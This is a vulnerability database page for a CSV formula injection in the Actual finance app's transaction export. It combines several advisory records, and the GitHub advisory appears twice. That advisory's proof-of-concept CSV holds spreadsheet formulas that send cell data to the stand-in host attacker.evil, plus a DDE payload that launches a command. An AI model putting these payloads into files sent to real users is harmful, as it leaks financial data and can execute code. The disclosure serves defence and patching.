Every CVE Search/ Get API key

CVE-2026-50179

Actual: CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields

4.2 MediumFix available

Actual is a local-first personal finance tool. Prior to 26.6.0, exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with equals sign, plus, minus, at sign, tab, or carriage return survive verbatim into the exported CSV, and when a recipient opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas, enabling transaction data exfiltration and attacker-chosen spreadsheet display values. This issue is fixed in version 26.6.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.29%Up 0.3 points since Jun 13, 2026
90%50%10%1%

What each source reports

CVE List Score used 4.2

Actual: CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields

Actual is a local-first personal finance tool. Prior to 26.6.0, exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with equals sign, plus, minus, at sign, tab, or carriage return survive verbatim into the exported CSV, and when a recipient opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas, enabling transaction data exfiltration and attacker-chosen spreadsheet display values. This issue is fixed in version 26.6.0.

Record
CVE-2026-50179
CVSS 3.1
4.2 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
Weakness
CWE-1236
Updated
2026-11-02
EUVDEUVD-2026-42104 4.2

Actual is a local-first personal finance tool. Prior to 26.6.0, exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with equals sign, plus, minus, at sign, tab, or carriage return survive verbatim into the exported CSV, and when a recipient opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas, enabling transaction data exfiltration and attacker-chosen spreadsheet display values. This issue is fixed in version 26.6.0.

Record
EUVD-2026-42104
CVSS 3.1
4.2 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-xqjm-27pc-rvwm 4.2

@actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields

Summary

exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with =, +, -, @, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. =HYPERLINK("http://attacker/?leak="&B2,"Bank refund") is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. =WEBSERVICE/=IMPORTXML provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel.

Details

Sink — packages/loot-core/src/server/transactions/export/export-to-csv.ts:56:

return csvStringify(transactionsForExport, { header: true });

and the same call again at export-to-csv.ts:131 for exportQueryToCSV. csv-stringify v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper — grep for csvStringify finds exactly one source file across the monorepo.

Source of attacker-controlled Payee/Notes:

  • packages/loot-core/src/server/transactions/import/parse-file.ts:77 dispatches uploaded files to parseCSV (:109), parseOFX (:200), parseQIF (:158), parseCAMT (:250). None of them strip or escape formula prefixes from payee_name/imported_payee/notes.
  • For OFX, mapOfxTransaction in packages/loot-core/src/server/transactions/import/ofx2json.ts only runs html2Plain (HTML entity decoding) on the NAME field — =, +, -, @, \t are untouched.
  • sync.normalizeTransactions (packages/loot-core/src/server/transactions/sync.ts) applies title() casing, which only mutates letters via String.toLowerCase; non-letter prefix characters are preserved, and Excel formulas are case-insensitive (=hyperlink(...) parses identically to =HYPERLINK(...)).
  • The payee can also be entered directly through the UI or set via the @actual-app/api's payee/transaction CRUD endpoints — anyone with write access to a shared budget can plant the payload.

Verification that csv-stringify does not neutralize formulas:

$ node -e "const{stringify}=require('csv-stringify/sync');console.log(stringify([{Payee:'=HYPERLINK(\"http://x/?\"&B2,\"refund\")'}],{header:true}))"
Payee
"=HYPERLINK(""http://x/?""&B2,""refund"")"

The double-quote escaping is intact, but the leading = is not prefixed with ' or otherwise neutralized — Excel, LibreOffice Calc, and Google Sheets will all evaluate this as a formula on open.

PoC

  1. Attacker delivers a malicious file the victim is willing to import (fake bank OFX statement, shared budget file, expense-tracking CSV from a collaborator). Example malicious CSV the victim drops into "Import file":
Date,Payee,Amount
2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",100.00
2026-01-02,"@SUM(1+1)*cmd|'/c calc'!A0",50.00
2026-01-03,"+1+1",-25.00
2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",10.00
  1. Victim imports through Account → Import file. parseFile (parse-file.ts:77) → parseCSV/parseOFX/parseQIF/parseCAMT returns rows with the formula strings preserved as payee_name. sync.normalizeTransactions does not strip the prefix characters.
  2. Payees are persisted into the payees table verbatim.
  3. Some time later the victim runs Account → menu → Export. transactions-export-query invokes exportQueryToCSV (export-to-csv.ts:131).
  4. The exported file looks like (verified output shape from csvStringify):
Record
GHSA-xqjm-27pc-rvwm
CVSS 3.1
4.2 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
Weakness
CWE-1236
Updated
2026-11-02
NVD 4.2

Actual is a local-first personal finance tool. Prior to 26.6.0, exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with equals sign, plus, minus, at sign, tab, or carriage return survive verbatim into the exported CSV, and when a recipient opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas, enabling transaction data exfiltration and attacker-chosen spreadsheet display values. This issue is fixed in version 26.6.0.

Record
CVE-2026-50179
CVSS 3.1
4.2 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
Weakness
CWE-1236
Updated
2026-11-02
OSV 4.2

Actual: CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields

Actual is a local-first personal finance tool. Prior to 26.6.0, exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with equals sign, plus, minus, at sign, tab, or carriage return survive verbatim into the exported CSV, and when a recipient opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas, enabling transaction data exfiltration and attacker-chosen spreadsheet display values. This issue is fixed in version 26.6.0.

Record
CVE-2026-50179
CVSS 3.1
4.2 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
Weakness
CWE-1236
Updated
2026-11-02
OSVGHSA-xqjm-27pc-rvwm 4.2

@actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields

Summary

exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with =, +, -, @, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. =HYPERLINK("http://attacker/?leak="&B2,"Bank refund") is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. =WEBSERVICE/=IMPORTXML provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel.

Details

Sink — packages/loot-core/src/server/transactions/export/export-to-csv.ts:56:

return csvStringify(transactionsForExport, { header: true });

and the same call again at export-to-csv.ts:131 for exportQueryToCSV. csv-stringify v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper — grep for csvStringify finds exactly one source file across the monorepo.

Source of attacker-controlled Payee/Notes:

  • packages/loot-core/src/server/transactions/import/parse-file.ts:77 dispatches uploaded files to parseCSV (:109), parseOFX (:200), parseQIF (:158), parseCAMT (:250). None of them strip or escape formula prefixes from payee_name/imported_payee/notes.
  • For OFX, mapOfxTransaction in packages/loot-core/src/server/transactions/import/ofx2json.ts only runs html2Plain (HTML entity decoding) on the NAME field — =, +, -, @, \t are untouched.
  • sync.normalizeTransactions (packages/loot-core/src/server/transactions/sync.ts) applies title() casing, which only mutates letters via String.toLowerCase; non-letter prefix characters are preserved, and Excel formulas are case-insensitive (=hyperlink(...) parses identically to =HYPERLINK(...)).
  • The payee can also be entered directly through the UI or set via the @actual-app/api's payee/transaction CRUD endpoints — anyone with write access to a shared budget can plant the payload.

Verification that csv-stringify does not neutralize formulas:

$ node -e "const{stringify}=require('csv-stringify/sync');console.log(stringify([{Payee:'=HYPERLINK(\"http://x/?\"&B2,\"refund\")'}],{header:true}))"
Payee
"=HYPERLINK(""http://x/?""&B2,""refund"")"

The double-quote escaping is intact, but the leading = is not prefixed with ' or otherwise neutralized — Excel, LibreOffice Calc, and Google Sheets will all evaluate this as a formula on open.

PoC

  1. Attacker delivers a malicious file the victim is willing to import (fake bank OFX statement, shared budget file, expense-tracking CSV from a collaborator). Example malicious CSV the victim drops into "Import file":
Date,Payee,Amount
2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",100.00
2026-01-02,"@SUM(1+1)*cmd|'/c calc'!A0",50.00
2026-01-03,"+1+1",-25.00
2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",10.00
  1. Victim imports through Account → Import file. parseFile (parse-file.ts:77) → parseCSV/parseOFX/parseQIF/parseCAMT returns rows with the formula strings preserved as payee_name. sync.normalizeTransactions does not strip the prefix characters.
  2. Payees are persisted into the payees table verbatim.
  3. Some time later the victim runs Account → menu → Export. transactions-export-query invokes exportQueryToCSV (export-to-csv.ts:131).
  4. The exported file looks like (verified output shape from csvStringify):
Record
GHSA-xqjm-27pc-rvwm
CVSS 3.1
4.2 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
Weakness
CWE-1236
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
@actual-app/web
npm
before 26.6.0
26.6.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-50179 is a medium vulnerability (CVSS 4.2) in Actualbudget Actual, published June 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.29%, the 21st percentile. Fixed in @actual-app/web 26.6.0.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open